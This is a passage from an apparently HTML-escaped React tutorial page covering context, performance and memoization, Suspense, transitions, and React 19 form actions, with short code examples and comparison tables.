  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setTheme&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ThemeContext&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setTheme&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;light&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dark&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;light&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;theme&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Context facts:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;When the value changes, &lt;strong&gt;every consumer re-renders&lt;/strong&gt;. Keep values stable (&lt;code&gt;useMemo&lt;/code&gt;) and split big contexts (one for state, one for dispatch, or one per concern).&lt;/li&gt;
&lt;li&gt;Great for: theme, current user, language, router, small shared UI state.&lt;/li&gt;
&lt;li&gt;Not great for: fast-changing data (mouse position, big lists). Use a store like Zustand or Redux Toolkit.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;use(ThemeContext)&lt;/code&gt; also works and, unlike &lt;code&gt;useContext&lt;/code&gt;, can be called inside &lt;code&gt;if&lt;/code&gt; blocks.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  13. Performance
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Measure first.&lt;/strong&gt; Open React DevTools Profiler. Do not guess.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Order of fixes (cheapest first):&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Move state down.&lt;/strong&gt; Put state in the smallest component that needs it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lift content up with &lt;code&gt;children&lt;/code&gt;.&lt;/strong&gt; A component receiving &lt;code&gt;children&lt;/code&gt; as a prop does not re-render its children when its own state changes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stable keys&lt;/strong&gt; and no expensive work inside render.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Virtualize long lists&lt;/strong&gt; (&lt;code&gt;@tanstack/react-virtual&lt;/code&gt;, &lt;code&gt;react-window&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Code split&lt;/strong&gt; with &lt;code&gt;lazy&lt;/code&gt; and &lt;code&gt;Suspense&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Memoize&lt;/strong&gt; (below).&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Memoization tools
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// skip re-render if props are shallow-equal&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;Row&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;memo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Row&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// cache an expensive calculation&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sorted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useMemo&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;bigList&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toSorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;compare&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;bigList&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="c1"&gt;// cache a function so memo'd children see the same reference&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;onSelect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useCallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setSelected&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Caches&lt;/th&gt;
&lt;th&gt;Why it matters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;memo(Component)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The component's render result&lt;/td&gt;
&lt;td&gt;Skips re-render when props are equal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useMemo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A value&lt;/td&gt;
&lt;td&gt;Avoids heavy recalculation, keeps object identity stable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useCallback&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A function&lt;/td&gt;
&lt;td&gt;Keeps function identity stable for &lt;code&gt;memo&lt;/code&gt; or effect deps&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;useCallback&lt;/code&gt; and &lt;code&gt;useMemo&lt;/code&gt; are useless on their own. They help only when the result goes to a &lt;code&gt;memo&lt;/code&gt; child, a dependency array, or an expensive calculation.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  React Compiler (v1.0)
&lt;/h3&gt;

&lt;p&gt;The &lt;a href="https://react.dev/learn/react-compiler" rel="noopener noreferrer"&gt;React Compiler&lt;/a&gt; is a build-time tool that adds memoization &lt;strong&gt;automatically&lt;/strong&gt;. With it, you write less manual &lt;code&gt;useMemo&lt;/code&gt;, &lt;code&gt;useCallback&lt;/code&gt; and &lt;code&gt;memo&lt;/code&gt;. It is opt-in through a Babel plugin. Check the docs for your build tool.&lt;/p&gt;




&lt;h2&gt;
  
  
  14. Suspense and Transitions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Suspense
&lt;/h3&gt;

&lt;p&gt;Shows a fallback while something is loading (lazy code, or data from Suspense-enabled sources).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;lazy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Suspense&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;Chart&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;lazy&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./Chart&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Suspense&lt;/span&gt; &lt;span class="na"&gt;fallback&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Loading chart...&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Chart&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;Suspense&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Transitions
&lt;/h3&gt;

&lt;p&gt;Mark updates as &lt;strong&gt;non-urgent&lt;/strong&gt; so typing and clicking stay responsive.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;isPending&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;startTransition&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useTransition&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;selectTab&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tab&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;startTransition&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setTab&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tab&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt; &lt;span class="c1"&gt;// UI stays interactive while the new tab renders&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setQuery&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;deferredQuery&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useDeferredValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// lags behind while typing&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Results&lt;/span&gt; &lt;span class="na"&gt;query&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;deferredQuery&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hook&lt;/th&gt;
&lt;th&gt;Use when&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useTransition&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;You own the state update and can wrap it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useDeferredValue&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;You receive a value and want to defer work based on it&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  15. Forms and Actions (React 19)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Controlled input (React owns the value)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setName&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;onChange&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Uncontrolled input (the DOM owns the value)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt; &lt;span class="na"&gt;onSubmit&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;FormData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;currentTarget&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;email&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Send&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Controlled&lt;/th&gt;
&lt;th&gt;Uncontrolled&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Live validation, formatting, dependent fields&lt;/td&gt;
&lt;td&gt;Simple forms, file inputs, fewer re-renders&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Form Actions
&lt;/h3&gt;

&lt;p&gt;In React 19, &lt;code&gt;&amp;lt;form action={fn}&amp;gt;&lt;/code&gt; accepts a function. It receives &lt;code&gt;FormData&lt;/code&gt;, runs as a transition, and uncontrolled fields reset after success.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useActionState&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useFormStatus&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react-dom&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;subscribe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;prevState&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;formData&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/subscribe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;formData&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Something went wrong. Try again.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;SubmitButton&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;pending&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useFormStatus&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// must be rendered INSIDE the form&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;disabled&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;pending&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;pending&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Saving...&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Subscribe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;SubscribeForm&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;formAction&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useActionState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;subscribe&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt; &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;formAction&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;SubmitButton&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
